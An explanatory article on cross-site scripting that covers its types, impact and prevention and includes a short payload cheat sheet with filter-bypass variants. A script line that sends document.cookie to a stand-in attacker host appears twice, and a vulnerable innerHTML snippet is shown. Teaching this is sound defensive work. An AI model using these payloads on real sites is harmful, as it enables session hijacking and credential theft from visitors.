Cross‑Site Scripting (XSS) is a common web vulnerability that allows attackers to inject malicious JavaScript into a trusted website, which then executes in the browser of other users. It occurs when a web application does not properly validate or escape user input before rendering it in the page. As a result, attackers can run scripts in a victim’s browser to steal session cookies, hijack accounts, deface pages, or perform actions on behalf of the user. XSS is dangerous because it targets users rather than the server, making it a powerful client‑side attack.

To understand XSS, consider a website that displays user input without sanitization, such as a comment section. If the application outputs user input directly into HTML, an attacker can submit a payload like <script>alert('XSS')</script>. When another user visits the page, the script executes in their browser. This is a simple demonstration, but in real attacks, scripts are used to steal cookies or tokens and send them to an attacker-controlled server. For example, a malicious payload could be <script>fetch('https://attacker.com/?cookie='+document.cookie)</script>, which silently exfiltrates session data.

There are three main types of XSS. Stored XSS (persistent XSS) occurs when malicious input is saved on the server, such as in a database, and served to users later; this is the most dangerous type because it affects every visitor. Reflected XSS happens when input is immediately returned in the response, often via URL parameters, and executes when a user clicks a crafted link. DOM-based XSS occurs entirely in the browser when JavaScript modifies the page using unsafe data, such as reading from location.hash or document.URL and writing it into the DOM without sanitization.

XSS vulnerabilities commonly appear in input fields, search bars, comment systems, profile pages, and any place where user-controlled data is rendered in HTML or JavaScript. Modern single-page applications can also be vulnerable if they manipulate the DOM unsafely. The impact of XSS includes session hijacking, credential theft, phishing attacks, keylogging, and unauthorized actions performed on behalf of the victim. In some cases, XSS can be chained with other vulnerabilities to achieve more severe compromises.

XSS Cheat Sheet (For Learning & Testing)

Basic Payloads

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Bypass Filters (Simple Variations)

<ScRiPt>alert(1)</ScRiPt>
"><script>alert(1)</script>
<script>alert(String.fromCharCode(88,83,83))</script>

Attribute Injection

" onmouseover="alert(1)
' onfocus='alert(1)

JavaScript Context

';alert(1);//
";alert(1);//

Cookie Stealing (Example)

<script>fetch('https://attacker.com/?c='+document.cookie)</script>

DOM-Based XSS Sources

location.href
document.URL
document.cookie
location.hash

Common Sinks

innerHTML
document.write
eval()
setTimeout()
setInterval()

Use these payloads only in authorized environments such as labs or your own applications.

Practical Examples

A reflected XSS example might look like this:

https://example.com/search?q=<script>alert(1)</script>

If the website reflects the input directly in the page without encoding, the script will execute in the browser.

A stored XSS example could be a comment system where an attacker submits:

<script>alert('Stored XSS')</script>

If the comment is saved and displayed to all users without sanitization, every visitor will trigger the script.

A DOM-based XSS example:

var name = location.hash;
document.getElementById("output").innerHTML = name;

If the URL contains:

#<img src=x onerror=alert(1)>

the payload executes in the browser.

Prevention

Preventing XSS requires strict handling of user input and proper output encoding. Applications should escape HTML, JavaScript, and URL contexts before rendering user data. Using frameworks that automatically encode output, such as React or modern templating engines, can reduce risk. Developers should avoid using dangerous functions like innerHTML and eval() with untrusted data. Implementing Content Security Policy (CSP) can add an extra layer of defense by restricting which scripts can run in the browser. Input validation, secure cookies (HttpOnly), and regular security testing are also important measures.

Conclusion

Cross‑Site Scripting remains one of the most common vulnerabilities in web applications and continues to impact millions of users. Understanding how XSS works, how it is exploited, and how to prevent it is essential for developers, security researchers, and anyone involved in web development. By applying proper security practices and testing regularly, applications can be protected from XSS attacks and user data can remain secure.